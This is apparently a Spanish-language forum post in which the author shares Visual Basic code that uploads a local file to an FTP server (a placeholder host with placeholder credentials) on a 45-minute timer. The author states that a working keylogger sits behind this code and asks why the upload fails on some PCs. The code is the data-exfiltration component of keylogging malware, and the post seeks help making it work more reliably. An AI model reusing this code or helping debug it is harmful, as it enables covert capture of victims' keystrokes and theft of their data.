Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Sub ftp()
Dim hConnection, hOpen, Num As Long
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
DoEvents
hConnection = InternetConnect(hOpen, "ftp.dominio.com", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
DoEvents
FtpSetCurrentDirectory hConnection, "\"
DoEvents
FtpPutFile hConnection, "c:\ruta_del_archivo", nombre_en_el_ftp", FTP_TRANSFER_TYPE_UNKNOWN, 0
DoEvents
InternetCloseHandle hConnection
InternetCloseHandle hOpen
End Sub
Private Sub Timer3_Timer()
contador = contador + 1
If contador = 45 Then
ftp
Text1 = ""
contador = 0
End If
End Sub
bueno asi como esta el codigo me anda bien ..... pero en algunos pcs nomas nose por que :S
sise fijan el timer (esta en 60 seg) ejecuta el code de ftp y le puse un contador para q sea cada 45 minutos esta con sus respectivas declaraciones y constantes pero en mi pc y uno q otro funciona bien .. pero en otros no sube nada al ftp
detras de ese code ftp hay un keylogger XD q anda al 100% pero solo falla aca ..... a todo esto al compilar lo ago con la opcion p-code
quisas seran pq un pc tiene sp2 y el otro no, el otro pc es mas atractivo xD nose pq sera
no es error de que el archivo no este en la ruta q coloco ya q me asegure 100% de q no fuera eso creando yo el archivo y asiendo copi paste de las rutas
espero q me ayuden aconsejen guien etc
chauu